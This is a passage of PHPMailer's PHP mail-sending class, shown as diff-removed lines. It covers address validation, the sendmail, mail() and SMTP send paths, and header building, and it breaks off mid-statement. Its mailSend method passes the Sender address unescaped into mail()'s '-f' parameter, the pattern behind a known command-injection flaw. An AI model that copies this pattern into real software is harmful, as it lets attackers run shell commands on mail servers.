http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation - */ - public function parseAddresses($addrstr, $useimap = true) - { - $addresses = array(); - if ($useimap and function_exists('imap_rfc822_parse_adrlist')) { - //Use this built-in parser if it's available - $list = imap_rfc822_parse_adrlist($addrstr, ''); - foreach ($list as $address) { - if ($address->host != '.SYNTAX-ERROR.') { - if ($this->validateAddress($address->mailbox . '@' . $address->host)) { - $addresses[] = array( - 'name' => (property_exists($address, 'personal') ? $address->personal : ''), - 'address' => $address->mailbox . '@' . $address->host - ); - } - } - } - } else { - //Use this simpler parser - $list = explode(',', $addrstr); - foreach ($list as $address) { - $address = trim($address); - //Is there a separate name part? - if (strpos($address, '<') === false) { - //No separate name, just use the whole thing - if ($this->validateAddress($address)) { - $addresses[] = array( - 'name' => '', - 'address' => $address - ); - } - } else { - list($name, $email) = explode('<', $address); - $email = trim(str_replace('>', '', $email)); - if ($this->validateAddress($email)) { - $addresses[] = array( - 'name' => trim(str_replace(array('"', "'"), '', $name)), - 'address' => $email - ); - } - } - } - } - return $addresses; - } - - /** - * Set the From and FromName properties. - * @param string $address - * @param string $name - * @param boolean $auto Whether to also set the Sender address, defaults to true - * @throws phpmailerException - * @return boolean - */ - public function setFrom($address, $name = '', $auto = true) - { - $address = trim($address); - $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim - // Don't validate now addresses with IDN. Will be done in send(). - if (($pos = strrpos($address, '@')) === false or - (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and - !$this->validateAddress($address)) { - $error_message = $this->lang('invalid_address') . " (setFrom) $address"; - $this->setError($error_message); - $this->edebug($error_message); - if ($this->exceptions) { - throw new phpmailerException($error_message); - } - return false; - } - $this->From = $address; - $this->FromName = $name; - if ($auto) { - if (empty($this->Sender)) { - $this->Sender = $address; - } - } - return true; - } - - /** - * Return the Message-ID header of the last email. - * Technically this is the value from the last time the headers were created, - * but it's also the message ID of the last sent message except in - * pathological cases. - * @return string - */ - public function getLastMessageID() - { - return $this->lastMessageID; - } - - /** - * Check that a string looks like an email address. - * @param string $address The email address to check - * @param string|callable $patternselect A selector for the validation pattern to use : - * * `auto` Pick best pattern automatically; - * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14; - * * `pcre` Use old PCRE implementation; - * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; - * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. - * * `noregex` Don't use a regex: super fast, really dumb. - * Alternatively you may pass in a callable to inject your own validator, for example: - * PHPMailer::validateAddress('user@example.com', function($address) { - * return (strpos($address, '@') !== false); - * }); - * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. - * @return boolean - * @static - * @access public - */ - public static function validateAddress($address, $patternselect = null) - { - if (is_null($patternselect)) { - $patternselect = self::$validator; - } - if (is_callable($patternselect)) { - return call_user_func($patternselect, $address); - } - //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 - if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) { - return false; - } - if (!$patternselect or $patternselect == 'auto') { - //Check this constant first so it works when extension_loaded() is disabled by safe mode - //Constant was added in PHP 5.2.4 - if (defined('PCRE_VERSION')) { - //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 - if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { - $patternselect = 'pcre8'; - } else { - $patternselect = 'pcre'; - } - } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { - //Fall back to older PCRE - $patternselect = 'pcre'; - } else { - //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension - if (version_compare(PHP_VERSION, '5.2.0') >= 0) { - $patternselect = 'php'; - } else { - $patternselect = 'noregex'; - } - } - } - switch ($patternselect) { - case 'pcre8': - /** - * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. - * @link http://squiloople.com/2009/12/20/email-address-validation/ - * @copyright 2009-2010 Michael Rushton - * Feel free to use and redistribute this code. But please keep this copyright notice. - */ - return (boolean)preg_match( - '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . - '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . - '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . - '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . - '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . - '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . - '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . - '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . - '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', - $address - ); - case 'pcre': - //An older regex that doesn't need a recent PCRE - return (boolean)preg_match( - '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . - '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . - '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . - '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . - '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . - '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . - '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . - '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . - '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . - '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', - $address - ); - case 'html5': - /** - * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. - * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) - */ - return (boolean)preg_match( - '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . - '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', - $address - ); - case 'noregex': - //No PCRE! Do something _very_ approximate! - //Check the address is 3 chars or longer and contains an @ that's not the first or last char - return (strlen($address) >= 3 - and strpos($address, '@') >= 1 - and strpos($address, '@') != strlen($address) - 1); - case 'php': - default: - return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); - } - } - - /** - * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the - * "intl" and "mbstring" PHP extensions. - * @return bool "true" if required functions for IDN support are present - */ - public function idnSupported() - { - // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2. - return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding'); - } - - /** - * Converts IDN in given email address to its ASCII form, also known as punycode, if possible. - * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet. - * This function silently returns unmodified address if: - * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form) - * - Conversion to punycode is impossible (e.g. required PHP functions are not available) - * or fails for any reason (e.g. domain has characters not allowed in an IDN) - * @see PHPMailer::$CharSet - * @param string $address The email address to convert - * @return string The encoded address in ASCII form - */ - public function punyencodeAddress($address) - { - // Verify we have required functions, CharSet, and at-sign. - if ($this->idnSupported() and - !empty($this->CharSet) and - ($pos = strrpos($address, '@')) !== false) { - $domain = substr($address, ++$pos); - // Verify CharSet string is a valid one, and domain properly encoded in this CharSet. - if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) { - $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet); - if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ? - idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : - idn_to_ascii($domain)) !== false) { - return substr($address, 0, $pos) . $punycode; - } - } - } - return $address; - } - - /** - * Create a message and send it. - * Uses the sending method specified by $Mailer. - * @throws phpmailerException - * @return boolean false on error - See the ErrorInfo property for details of the error. - */ - public function send() - { - try { - if (!$this->preSend()) { - return false; - } - return $this->postSend(); - } catch (phpmailerException $exc) { - $this->mailHeader = ''; - $this->setError($exc->getMessage()); - if ($this->exceptions) { - throw $exc; - } - return false; - } - } - - /** - * Prepare a message for sending. - * @throws phpmailerException - * @return boolean - */ - public function preSend() - { - try { - $this->error_count = 0; // Reset errors - $this->mailHeader = ''; - - // Dequeue recipient and Reply-To addresses with IDN - foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { - $params[1] = $this->punyencodeAddress($params[1]); - call_user_func_array(array($this, 'addAnAddress'), $params); - } - if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { - throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL); - } - - // Validate From, Sender, and ConfirmReadingTo addresses - foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) { - $this->$address_kind = trim($this->$address_kind); - if (empty($this->$address_kind)) { - continue; - } - $this->$address_kind = $this->punyencodeAddress($this->$address_kind); - if (!$this->validateAddress($this->$address_kind)) { - $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind; - $this->setError($error_message); - $this->edebug($error_message); - if ($this->exceptions) { - throw new phpmailerException($error_message); - } - return false; - } - } - - // Set whether the message is multipart/alternative - if ($this->alternativeExists()) { - $this->ContentType = 'multipart/alternative'; - } - - $this->setMessageType(); - // Refuse to send an empty message unless we are specifically allowing it - if (!$this->AllowEmpty and empty($this->Body)) { - throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL); - } - - // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) - $this->MIMEHeader = ''; - $this->MIMEBody = $this->createBody(); - // createBody may have added some headers, so retain them - $tempheaders = $this->MIMEHeader; - $this->MIMEHeader = $this->createHeader(); - $this->MIMEHeader .= $tempheaders; - - // To capture the complete message when using mail(), create - // an extra header list which createHeader() doesn't fold in - if ($this->Mailer == 'mail') { - if (count($this->to) > 0) { - $this->mailHeader .= $this->addrAppend('To', $this->to); - } else { - $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); - } - $this->mailHeader .= $this->headerLine( - 'Subject', - $this->encodeHeader($this->secureHeader(trim($this->Subject))) - ); - } - - // Sign with DKIM if enabled - if (!empty($this->DKIM_domain) - && !empty($this->DKIM_private) - && !empty($this->DKIM_selector) - && file_exists($this->DKIM_private)) { - $header_dkim = $this->DKIM_Add( - $this->MIMEHeader . $this->mailHeader, - $this->encodeHeader($this->secureHeader($this->Subject)), - $this->MIMEBody - ); - $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF . - str_replace("\r\n", "\n", $header_dkim) . self::CRLF; - } - return true; - } catch (phpmailerException $exc) { - $this->setError($exc->getMessage()); - if ($this->exceptions) { - throw $exc; - } - return false; - } - } - - /** - * Actually send a message. - * Send the email via the selected mechanism - * @throws phpmailerException - * @return boolean - */ - public function postSend() - { - try { - // Choose the mailer and send through it - switch ($this->Mailer) { - case 'sendmail': - case 'qmail': - return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); - case 'smtp': - return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); - case 'mail': - return $this->mailSend($this->MIMEHeader, $this->MIMEBody); - default: - $sendMethod = $this->Mailer.'Send'; - if (method_exists($this, $sendMethod)) { - return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody); - } - - return $this->mailSend($this->MIMEHeader, $this->MIMEBody); - } - } catch (phpmailerException $exc) { - $this->setError($exc->getMessage()); - $this->edebug($exc->getMessage()); - if ($this->exceptions) { - throw $exc; - } - } - return false; - } - - /** - * Send mail using the $Sendmail program. - * @param string $header The message headers - * @param string $body The message body - * @see PHPMailer::$Sendmail - * @throws phpmailerException - * @access protected - * @return boolean - */ - protected function sendmailSend($header, $body) - { - if ($this->Sender != '') { - if ($this->Mailer == 'qmail') { - $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender)); - } else { - $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender)); - } - } else { - if ($this->Mailer == 'qmail') { - $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail)); - } else { - $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail)); - } - } - if ($this->SingleTo) { - foreach ($this->SingleToArray as $toAddr) { - if (!@$mail = popen($sendmail, 'w')) { - throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); - } - fputs($mail, 'To: ' . $toAddr . "\n"); - fputs($mail, $header); - fputs($mail, $body); - $result = pclose($mail); - $this->doCallback( - ($result == 0), - array($toAddr), - $this->cc, - $this->bcc, - $this->Subject, - $body, - $this->From - ); - if ($result != 0) { - throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); - } - } - } else { - if (!@$mail = popen($sendmail, 'w')) { - throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); - } - fputs($mail, $header); - fputs($mail, $body); - $result = pclose($mail); - $this->doCallback( - ($result == 0), - $this->to, - $this->cc, - $this->bcc, - $this->Subject, - $body, - $this->From - ); - if ($result != 0) { - throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); - } - } - return true; - } - - /** - * Send mail using the PHP mail() function. - * @param string $header The message headers - * @param string $body The message body - * @link http://www.php.net/manual/en/book.mail.php - * @throws phpmailerException - * @access protected - * @return boolean - */ - protected function mailSend($header, $body) - { - $toArr = array(); - foreach ($this->to as $toaddr) { - $toArr[] = $this->addrFormat($toaddr); - } - $to = implode(', ', $toArr); - - $params = null; - //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver - if (!empty($this->Sender)) { - $params = sprintf('-f%s', $this->Sender); - } - if ($this->Sender != '' and !ini_get('safe_mode')) { - $old_from = ini_get('sendmail_from'); - ini_set('sendmail_from', $this->Sender); - } - $result = false; - if ($this->SingleTo and count($toArr) > 1) { - foreach ($toArr as $toAddr) { - $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); - $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); - } - } else { - $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); - $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); - } - if (isset($old_from)) { - ini_set('sendmail_from', $old_from); - } - if (!$result) { - throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL); - } - return true; - } - - /** - * Get an instance to use for SMTP operations. - * Override this function to load your own SMTP implementation - * @return SMTP - */ - public function getSMTPInstance() - { - if (!is_object($this->smtp)) { - $this->smtp = new SMTP; - } - return $this->smtp; - } - - /** - * Send mail via SMTP. - * Returns false if there is a bad MAIL FROM, RCPT, or DATA input. - * Uses the PHPMailerSMTP class by default. - * @see PHPMailer::getSMTPInstance() to use a different class. - * @param string $header The message headers - * @param string $body The message body - * @throws phpmailerException - * @uses SMTP - * @access protected - * @return boolean - */ - protected function smtpSend($header, $body) - { - $bad_rcpt = array(); - if (!$this->smtpConnect($this->SMTPOptions)) { - throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); - } - if ('' == $this->Sender) { - $smtp_from = $this->From; - } else { - $smtp_from = $this->Sender; - } - if (!$this->smtp->mail($smtp_from)) { - $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); - throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); - } - - // Attempt to send to all recipients - foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { - foreach ($togroup as $to) { - if (!$this->smtp->recipient($to[0])) { - $error = $this->smtp->getError(); - $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']); - $isSent = false; - } else { - $isSent = true; - } - $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); - } - } - - // Only send the DATA command if we have viable recipients - if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) { - throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL); - } - if ($this->SMTPKeepAlive) { - $this->smtp->reset(); - } else { - $this->smtp->quit(); - $this->smtp->close(); - } - //Create error message for any bad addresses - if (count($bad_rcpt) > 0) { - $errstr = ''; - foreach ($bad_rcpt as $bad) { - $errstr .= $bad['to'] . ': ' . $bad['error']; - } - throw new phpmailerException( - $this->lang('recipients_failed') . $errstr, - self::STOP_CONTINUE - ); - } - return true; - } - - /** - * Initiate a connection to an SMTP server. - * Returns false if the operation failed. - * @param array $options An array of options compatible with stream_context_create() - * @uses SMTP - * @access public - * @throws phpmailerException - * @return boolean - */ - public function smtpConnect($options = null) - { - if (is_null($this->smtp)) { - $this->smtp = $this->getSMTPInstance(); - } - - //If no options are provided, use whatever is set in the instance - if (is_null($options)) { - $options = $this->SMTPOptions; - } - - // Already connected? - if ($this->smtp->connected()) { - return true; - } - - $this->smtp->setTimeout($this->Timeout); - $this->smtp->setDebugLevel($this->SMTPDebug); - $this->smtp->setDebugOutput($this->Debugoutput); - $this->smtp->setVerp($this->do_verp); - $hosts = explode(';', $this->Host); - $lastexception = null; - - foreach ($hosts as $hostentry) { - $hostinfo = array(); - if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) { - // Not a valid host entry - continue; - } - // $hostinfo[2]: optional ssl or tls prefix - // $hostinfo[3]: the hostname - // $hostinfo[4]: optional port number - // The host string prefix can temporarily override the current setting for SMTPSecure - // If it's not specified, the default value is used - $prefix = ''; - $secure = $this->SMTPSecure; - $tls = ($this->SMTPSecure == 'tls'); - if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) { - $prefix = 'ssl://'; - $tls = false; // Can't have SSL and TLS at the same time - $secure = 'ssl'; - } elseif ($hostinfo[2] == 'tls') { - $tls = true; - // tls doesn't use a prefix - $secure = 'tls'; - } - //Do we need the OpenSSL extension? - $sslext = defined('OPENSSL_ALGO_SHA1'); - if ('tls' === $secure or 'ssl' === $secure) { - //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled - if (!$sslext) { - throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL); - } - } - $host = $hostinfo[3]; - $port = $this->Port; - $tport = (integer)$hostinfo[4]; - if ($tport > 0 and $tport < 65536) { - $port = $tport; - } - if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { - try { - if ($this->Helo) { - $hello = $this->Helo; - } else { - $hello = $this->serverHostname(); - } - $this->smtp->hello($hello); - //Automatically enable TLS encryption if: - // * it's not disabled - // * we have openssl extension - // * we are not already using SSL - // * the server offers STARTTLS - if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) { - $tls = true; - } - if ($tls) { - if (!$this->smtp->startTLS()) { - throw new phpmailerException($this->lang('connect_host')); - } - // We must resend EHLO after TLS negotiation - $this->smtp->hello($hello); - } - if ($this->SMTPAuth) { - if (!$this->smtp->authenticate( - $this->Username, - $this->Password, - $this->AuthType, - $this->Realm, - $this->Workstation - ) - ) { - throw new phpmailerException($this->lang('authenticate')); - } - } - return true; - } catch (phpmailerException $exc) { - $lastexception = $exc; - $this->edebug($exc->getMessage()); - // We must have connected, but then failed TLS or Auth, so close connection nicely - $this->smtp->quit(); - } - } - } - // If we get here, all connection attempts have failed, so close connection hard - $this->smtp->close(); - // As we've caught all exceptions, just report whatever the last one was - if ($this->exceptions and !is_null($lastexception)) { - throw $lastexception; - } - return false; - } - - /** - * Close the active SMTP session if one exists. - * @return void - */ - public function smtpClose() - { - if (is_a($this->smtp, 'SMTP')) { - if ($this->smtp->connected()) { - $this->smtp->quit(); - $this->smtp->close(); - } - } - } - - /** - * Set the language for error messages. - * Returns false if it cannot load the language file. - * The default language is English. - * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr") - * @param string $lang_path Path to the language file directory, with trailing separator (slash) - * @return boolean - * @access public - */ - public function setLanguage($langcode = 'en', $lang_path = '') - { - // Define full set of translatable strings in English - $PHPMAILER_LANG = array( - 'authenticate' => 'SMTP Error: Could not authenticate.', - 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', - 'data_not_accepted' => 'SMTP Error: data not accepted.', - 'empty_message' => 'Message body empty', - 'encoding' => 'Unknown encoding: ', - 'execute' => 'Could not execute: ', - 'file_access' => 'Could not access file: ', - 'file_open' => 'File Error: Could not open file: ', - 'from_failed' => 'The following From address failed: ', - 'instantiate' => 'Could not instantiate mail function.', - 'invalid_address' => 'Invalid address: ', - 'mailer_not_supported' => ' mailer is not supported.', - 'provide_address' => 'You must provide at least one recipient email address.', - 'recipients_failed' => 'SMTP Error: The following recipients failed: ', - 'signing' => 'Signing Error: ', - 'smtp_connect_failed' => 'SMTP connect() failed.', - 'smtp_error' => 'SMTP server error: ', - 'variable_set' => 'Cannot set or reset variable: ', - 'extension_missing' => 'Extension missing: ' - ); - if (empty($lang_path)) { - // Calculate an absolute path so it can work if CWD is not here - $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR; - } - $foundlang = true; - $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php'; - // There is no English translation file - if ($langcode != 'en') { - // Make sure language file path is readable - if (!is_readable($lang_file)) { - $foundlang = false; - } else { - // Overwrite language-specific strings. - // This way we'll never have missing translation keys. - $foundlang = include $lang_file; - } - } - $this->language = $PHPMAILER_LANG; - return (boolean)$foundlang; // Returns false if language not found - } - - /** - * Get the array of strings for the current language. - * @return array - */ - public function getTranslations() - { - return $this->language; - } - - /** - * Create recipient headers. - * @access public - * @param string $type - * @param array $addr An array of recipient, - * where each recipient is a 2-element indexed array with element 0 containing an address - * and element 1 containing a name, like: - * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User')) - * @return string - */ - public function addrAppend($type, $addr) - { - $addresses = array(); - foreach ($addr as $address) { - $addresses[] = $this->addrFormat($address); - } - return $type . ': ' . implode(', ', $addresses) . $this->LE; - } - - /** - * Format an address for use in a message header. - * @access public - * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name - * like array('joe@example.com', 'Joe User') - * @return string - */ - public function addrFormat($addr) - { - if (empty($addr[1])) { // No name provided - return $this->secureHeader($addr[0]); - } else { - return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader( - $addr[0] - ) . '>'; - } - } - - /** - * Word-wrap message. - * For use with mailers that do not automatically perform wrapping - * and for quoted-printable encoded messages. - * Original written by philippe. - * @param string $message The message to wrap - * @param integer $length The line length to wrap to - * @param boolean $qp_mode Whether to run in Quoted-Printable mode - * @access public - * @return string - */ - public function wrapText($message, $length, $qp_mode = false) - { - if ($qp_mode) { - $soft_break = sprintf(' =%s', $this->LE); - } else { - $soft_break = $this->LE; - } - // If utf-8 encoding is used, we will need to make sure we don't - // split multibyte characters when we wrap - $is_utf8 = (strtolower($this->CharSet) == 'utf-8'); - $lelen = strlen($this->LE); - $crlflen = strlen(self::CRLF); - - $message = $this->fixEOL($message); - //Remove a trailing line break - if (substr($message, -$lelen) == $this->LE) { - $message = substr($message, 0, -$lelen); - } - - //Split message into lines - $lines = explode($this->LE, $message); - //Message will be rebuilt in here - $message = ''; - foreach ($lines as $line) { - $words = explode(' ', $line); - $buf = ''; - $firstword = true; - foreach ($words as $word) { - if ($qp_mode and (strlen($word) > $length)) { - $space_left = $length - strlen($buf) - $crlflen; - if (!$firstword) { - if ($space_left > 20) { - $len = $space_left; - if ($is_utf8) { - $len = $this->utf8CharBoundary($word, $len); - } elseif (substr($word, $len - 1, 1) == '=') { - $len--; - } elseif (substr($word, $len - 2, 1) == '=') { - $len -= 2; - } - $part = substr($word, 0, $len); - $word = substr($word, $len); - $buf .= ' ' . $part; - $message .= $buf . sprintf('=%s', self::CRLF); - } else { - $message .= $buf . $soft_break; - } - $buf = ''; - } - while (strlen($word) > 0) { - if ($length <= 0) { - break; - } - $len = $length; - if ($is_utf8) { - $len = $this->utf8CharBoundary($word, $len); - } elseif (substr($word, $len - 1, 1) == '=') { - $len--; - } elseif (substr($word, $len - 2, 1) == '=') { - $len -= 2; - } - $part = substr($word, 0, $len); - $word = substr($word, $len); - - if (strlen($word) > 0) { - $message .= $part . sprintf('=%s', self::CRLF); - } else { - $buf = $part; - } - } - } else { - $buf_o = $buf; - if (!$firstword) { - $buf .= ' '; - } - $buf .= $word; - - if (strlen($buf) > $length and $buf_o != '') { - $message .= $buf_o . $soft_break; - $buf = $word; - } - } - $firstword = false; - } - $message .= $buf . self::CRLF; - } - - return $message; - } - - /** - * Find the last character boundary prior to $maxLength in a utf-8 - * quoted-printable encoded string. - * Original written by Colin Brown. - * @access public - * @param string $encodedText utf-8 QP text - * @param integer $maxLength Find the last character boundary prior to this length - * @return integer - */ - public function utf8CharBoundary($encodedText, $maxLength) - { - $foundSplitPos = false; - $lookBack = 3; - while (!$foundSplitPos) { - $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); - $encodedCharPos = strpos($lastChunk, '='); - if (false !== $encodedCharPos) { - // Found start of encoded character byte within $lookBack block. - // Check the encoded byte value (the 2 chars after the '=') - $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); - $dec = hexdec($hex); - if ($dec < 128) { - // Single byte character. - // If the encoded char was found at pos 0, it will fit - // otherwise reduce maxLength to start of the encoded char - if ($encodedCharPos > 0) { - $maxLength = $maxLength - ($lookBack - $encodedCharPos); - } - $foundSplitPos = true; - } elseif ($dec >= 192) { - // First byte of a multi byte character - // Reduce maxLength to split at start of character - $maxLength = $maxLength - ($lookBack - $encodedCharPos); - $foundSplitPos = true; - } elseif ($dec < 192) { - // Middle byte of a multi byte character, look further back - $lookBack += 3; - } - } else { - // No encoded character found - $foundSplitPos = true; - } - } - return $maxLength; - } - - /** - * Apply word wrapping to the message body. - * Wraps the message body to the number of chars set in the WordWrap property. - * You should only do this to plain-text bodies as wrapping HTML tags may break them. - * This is called automatically by createBody(), so you don't need to call it yourself. - * @access public - * @return void - */ - public function setWordWrap() - { - if ($this->WordWrap < 1) { - return; - } - - switch ($this->message_type) { - case 'alt': - case 'alt_inline': - case 'alt_attach': - case 'alt_inline_attach': - $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); - break; - default: - $this->Body = $this->wrapText($this->Body, $this->WordWrap); - break; - } - } - - /** - * Assemble message headers. - * @access public - * @return string The assembled headers - */ - public function createHeader() - { - $result = ''; - - if ($this->MessageDate == '') { - $this->MessageDate = self::rfcDate(); - } - $result .= $this->headerLine('Date', $this->MessageDate); - - // To be created automatically by mail() - if ($this->SingleTo) { - if ($this->Mailer != 'mail') { - foreach ($this->to as $toaddr) { - $this->SingleToArray[] = $this->addrFormat($toaddr); - } - } - } else { - if (count($this->to) > 0) { - if ($this->Mailer != 'mail') { - $result .= $this->addrAppend('To', $this->to); - } - } elseif (count($this->cc) == 0) { - $result .= $this->headerLine('To', 'undisclosed-recipients:;'); - } - } - - $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName))); - - // sendmail and mail() extract Cc from the header before sending - if (count($this->cc) > 0) { - $result .= $this->addrAppend('Cc', $this->cc); - } - - // sendmail and mail() extract Bcc from the header before sending - if (( - $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail' - ) - and count($this->bcc) > 0 - ) { - $result .= $this->addrAppend('Bcc', $this->bcc); - } - - if (count($this->ReplyTo) > 0) { - $result .= $this->addrAppend('Reply-To', $this->ReplyTo); - } - - // mail() sets the subject itself - if ($this->Mailer != 'mail') { - $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); - } - - if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) { - $this->lastMessageID = $this->MessageID; - } else { - $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname()); - } - $result .= $this->headerLine('Message-ID', $this->lastMessageID); - if (!is_null($this->Priority)) { - $result .= 